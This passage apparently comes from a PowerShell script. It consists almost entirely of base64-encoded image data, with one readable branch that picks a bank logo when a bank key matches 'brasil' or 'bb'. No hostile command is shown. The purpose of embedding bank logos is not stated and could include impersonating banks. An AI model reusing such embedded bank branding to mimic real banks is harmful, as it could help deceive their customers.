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" } elseif ($bankKey -like "*brasil*" -or $bankKey -eq "bb") { $logoData = "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